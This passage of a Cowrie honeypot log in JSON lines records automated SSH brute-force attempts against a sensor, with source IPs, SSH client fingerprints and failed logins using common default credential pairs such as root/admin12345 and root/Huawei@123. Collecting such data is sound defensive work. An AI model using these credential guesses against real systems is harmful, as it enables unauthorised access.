sh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:11.754927Z","src_ip":"193.151.144.93","session":"a4a14f2c20c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"f34dff4be957","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: f34dff4be957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:12.095212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:12.100137Z","src_ip":"23.97.62.150","session":"f34dff4be957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:12.274510Z","src_ip":"193.151.144.93","session":"a4a14f2c20c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:12.334367Z","src_ip":"23.97.62.150","session":"f34dff4be957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:13.040403Z","src_ip":"23.97.62.150","session":"f34dff4be957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:13.446542Z","src_ip":"193.151.144.93","session":"a4a14f2c20c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:14.275894Z","src_ip":"23.97.62.150","session":"f34dff4be957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55156,"dst_ip":"10.17.0.5","dst_port":22,"session":"053d3267f1ff","protocol":"ssh","message":"New connection: 193.151.144.93:55156 (10.17.0.5:22) [session: 053d3267f1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:17.303138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:17.309798Z","src_ip":"193.151.144.93","session":"053d3267f1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:17.470303Z","src_ip":"193.151.144.93","session":"053d3267f1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:17.949300Z","src_ip":"193.151.144.93","session":"053d3267f1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44126,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c419b45b1d9","protocol":"ssh","message":"New connection: 193.151.144.93:44126 (10.17.0.5:22) [session: 0c419b45b1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:22.593071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:22.598074Z","src_ip":"193.151.144.93","session":"0c419b45b1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:22.775975Z","src_ip":"193.151.144.93","session":"0c419b45b1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:23.329088Z","src_ip":"193.151.144.93","session":"0c419b45b1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45090055465698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:24.149485Z","src_ip":"69.4.83.194","session":"1fe546973286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:25.377134Z","src_ip":"193.151.144.93","session":"0c419b45b1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44136,"dst_ip":"10.17.0.5","dst_port":22,"session":"f27ae34affbd","protocol":"ssh","message":"New connection: 193.151.144.93:44136 (10.17.0.5:22) [session: f27ae34affbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:28.152089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:28.283851Z","src_ip":"193.151.144.93","session":"f27ae34affbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:28.317058Z","src_ip":"193.151.144.93","session":"f27ae34affbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:28.956472Z","src_ip":"193.151.144.93","session":"f27ae34affbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:30.583614Z","src_ip":"193.151.144.93","session":"f27ae34affbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38280,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c8c384d45b7","protocol":"ssh","message":"New connection: 193.37.70.224:38280 (10.17.0.5:22) [session: 2c8c384d45b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:31.370530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:31.378983Z","src_ip":"193.37.70.224","session":"2c8c384d45b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:31.469139Z","src_ip":"193.37.70.224","session":"2c8c384d45b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galatasaray","message":"login attempt [root/galatasaray] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:31.740696Z","src_ip":"193.37.70.224","session":"2c8c384d45b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:32.832624Z","src_ip":"193.37.70.224","session":"2c8c384d45b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52486,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c6eb6fefff","protocol":"ssh","message":"New connection: 193.151.144.93:52486 (10.17.0.5:22) [session: d8c6eb6fefff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:33.687130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:33.691864Z","src_ip":"193.151.144.93","session":"d8c6eb6fefff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:33.857412Z","src_ip":"193.151.144.93","session":"d8c6eb6fefff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:34.357375Z","src_ip":"193.151.144.93","session":"d8c6eb6fefff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:36.005429Z","src_ip":"193.151.144.93","session":"d8c6eb6fefff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":52492,"dst_ip":"10.17.0.5","dst_port":22,"session":"652edfc8ee0a","protocol":"ssh","message":"New connection: 193.151.144.93:52492 (10.17.0.5:22) [session: 652edfc8ee0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:39.202716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:39.206870Z","src_ip":"193.151.144.93","session":"652edfc8ee0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:39.379062Z","src_ip":"193.151.144.93","session":"652edfc8ee0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:39.896332Z","src_ip":"193.151.144.93","session":"652edfc8ee0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:41.073593Z","src_ip":"193.151.144.93","session":"652edfc8ee0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.5581259727478,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:41.751861Z","src_ip":"69.4.83.194","session":"682ceb61497d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35844,"dst_ip":"10.17.0.5","dst_port":22,"session":"f599a3b7a2d6","protocol":"ssh","message":"New connection: 193.151.144.93:35844 (10.17.0.5:22) [session: f599a3b7a2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:44.507607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:44.513016Z","src_ip":"193.151.144.93","session":"f599a3b7a2d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45196890830994,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:44.532242Z","src_ip":"69.4.83.194","session":"dfabd52e68f8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:44.684591Z","src_ip":"193.151.144.93","session":"f599a3b7a2d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:45.196092Z","src_ip":"193.151.144.93","session":"f599a3b7a2d6","protocol":"ssh"}
